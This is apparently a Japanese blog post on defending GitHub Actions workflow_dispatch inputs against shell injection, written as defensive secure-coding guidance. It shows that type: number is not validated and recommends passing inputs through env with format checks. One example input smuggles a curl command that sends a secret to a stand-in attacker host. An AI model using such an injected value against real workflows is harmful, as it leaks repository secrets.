workflow_dispatchの入力でシェルインジェクションを防ぐ書き方|type: numberは数値チェックされない
GitHub Actions の workflow_dispatch で、入力を type: number にしておけば数値以外は入らない、と考えていませんか?
私もそう考えて、run: に入力を埋め込んでいた workflow の対策に使おうとしました。
ところが a を渡しても、workflow はそのまま起動します。
Run workflow のダイアログも数値以外の入力を止めず、値はそのまま run: のスクリプトまで届きます。
一方で choice と boolean は、許されていない値を GitHub が HTTP 422 で拒否します。
この記事では、入力の型ごとに GitHub が値を照合するかどうかと、型に頼らずシェルインジェクションを防ぐ書き方をまとめます。
なぜ run: に ${{ inputs.* }} を埋め込むと危ないのか
たとえば、次のような workflow です。
on:
workflow_dispatch:
inputs:
day:
description: 'day: e.g. 10'
required: true
jobs:
run:
runs-on: ubuntu-latest
steps:
- run: |
day=${{ github.event.inputs.day }}
./maintenance --day $day${{ }} の式は、シェルが動く前にスクリプトの文字列として展開されます。
そのため、day に 5; curl https://attacker.example/ -d "$SECRET" のような値を渡されると、後ろのコマンドもそのまま実行されます。
いわゆるシェルインジェクション(スクリプトインジェクション)です。
手動実行できるのは書き込み権限を持つ人に限られますが、ステップに渡しているシークレットを読み出されたり、GITHUB_TOKEN を悪用されたりする経路になります。
type: number なら数値以外は弾かれるのか
入力に type: number を付けて試しました。
day:
description: 'day: e.g. 10'
type: number
required: trueこの状態で、Actions の画面の「Run workflow」のダイアログから、day に a を入力して実行します。
結果は、エラーにならずに workflow が起動しました。
ダイアログの入力欄も、数値以外の入力を止めませんでした。
このときは、後で紹介するスクリプト側の形式チェックを先に入れていたので、ジョブの中で invalid day と出力して止まりました。
逆に言えば、スクリプト側のチェックがなければ、a はそのままシェルに渡っていたということです。
type: number は、注入の対策としては当てにできません。
GitHub が値を照合するのは choice と boolean
type: choice と type: boolean は事情が違います。
この 2 つは、画面からだけでなく REST API や gh workflow run から呼んだ場合でも、GitHub が値を照合します。
許されていない値を渡すと、run は作られずに HTTP 422 が返ります。
$ gh workflow run test-models.yml -f runner_label=sm86 -f test_id=TC-MODELS-016
could not create workflow dispatch event: HTTP 422: Provided value 'sm86' for input 'runner_label' not in the list of allowed valuesこれは、choice の選択肢にない値を渡した例です(dogkeeper886/ollama37#516)。
boolean でも、空の値が同じエラーで拒否された報告があります(cli/cli#5246)。
入力の型ごとに整理すると、次のようになります。
| type | GitHub による値の照合 | 注入の防御になるか |
|---|---|---|
string | なし | ならない |
number | なし(a で起動した) | ならない |
choice | 選択肢と照合(外れると 422) | なる(ただし下の注意あり) |
boolean | true / false と照合 | なる |
公式ドキュメントの Workflow syntax には使える型の一覧はありますが、どの型をサーバー側で照合するかは書かれていません。
名前から「number なら数値が保証される」と期待してしまいやすいので、注意してください。
choice でも過信はしない
choice の選択肢は、実行するブランチ(ref)の workflow ファイルから読まれます。
そのため、ブランチを push できる人が選択肢を書き換えれば、任意の値を渡せます。
また、後から誰かが入力を string に変えると、防御は黙って消えます。
choice は防御として効きますが、次に紹介する env 経由の書き方と組み合わせておくのが無難です。
対策: env 経由で渡し、スクリプトで形式をチェックする
信頼できない入力は、run: に直接書かず、中間の環境変数を経由して渡すのが基本です。
先ほどの workflow を直すと、次のようになります。
on:
workflow_dispatch:
inputs:
day:
description: 'day: e.g. 10'
type: number
required: true
permissions:
contents: read
jobs:
run:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v6
with:
persist-credentials: false
- env:
DAY: ${{ inputs.day }}
run: |
if [[ ! "$DAY" =~ ^[0-9]+$ ]]; then
echo "invalid day"
exit 1
fi
./maintenance --day "$DAY"ポイントは 3 つです。
${{ }}はenv:にだけ書く。run:の中では"$DAY"のように環境変数として参照する。値はシェルの構文として解釈されず、ただの文字列として渡る- 変数は必ず引用符で囲む。
$DAYのままだと、空白を含む値で引数が分割される - 使う前に形式をチェックする。
^[0-9]+$なら、aや負の数、5; echo INJECTEDのような値はすべてここで止まる
env 経由にするだけで、注入そのものは防げます。
それでも形式をチェックするのは、想定外の値を受け取った先のプログラムが、おかしな動きをしないようにするためです。
あわせて、permissions で GITHUB_TOKEN の権限を読み取りだけにし、actions/checkout の persist-credentials: false でトークンをディスクに残さないようにしています。
万一何かを実行されても、できることを小さくしておくためです。
値が決まっているなら choice にする
入力の値が数個に決まっているなら、string のまま形式チェックをするより、choice にしてしまうほうが確実です。
私が直した別の workflow では、接続先の URL を自由入力で受け取っていました。
形式チェックでは「正しい形の URL」までしか絞れず、外部のサーバーを指定されると、そこへ DB の認証情報を送らされる経路が残ります。
実際に使う接続先は 1 つだけだったので、choice に固定しました。
「どんな形の値か」ではなく「どの値か」まで決められるなら、choice のほうが守りやすいです。
静的解析ツールに指摘されたときの判断
この違いは、静的解析ツールなどから「run: に入力を埋め込んでいる」と指摘されたときの判断にも関わります。
- 入力がすべて
choice/booleanで、トリガーがworkflow_dispatchだけなら、GitHub の照合で任意の値は入らない。誤検知寄りと判断できる(env 経由へのハードニングは低い優先度で入れておく) numberの入力は、「数値型だから注入できない」とは判断できない。stringと同じ扱いで直す- 同じ workflow に
workflow_callのトリガーもある場合は別に考える。workflow_callの入力にはchoice型がなく、呼び出し元から任意の文字列を渡せるので、choiceの照合は当てにできない
まとめ
workflow_dispatchのtype: numberは、数値かどうかを GitHub が照合しない。画面のダイアログからaを入力しても workflow は起動したchoiceとbooleanは、API やgh workflow runから呼んでも照合され、外れた値は HTTP 422 で拒否される- 注入を防ぐ基本は、
${{ }}をenv:にだけ書き、run:では引用符付きの環境変数として使うこと - そのうえで、
^[0-9]+$のような形式チェックを入れ、値が決まっているものはchoiceにする
型を付けると、なんとなく安全になった気がします。
しかし number については、それはただの気のせいでした。
手元の workflow に、run: へ直接埋め込んだ ${{ inputs.* }} がないか、一度 grep してみてください。
workflow のセキュリティを見直すついでに、アクションの指定方法も確認したい人は、GitHub Actions のバージョン指定 vs コミットハッシュ指定もあわせてどうぞ。
参考(出典)
- Workflow syntax for GitHub Actions(GitHub Docs)
- Secure use reference: Use an intermediate environment variable(GitHub Docs)
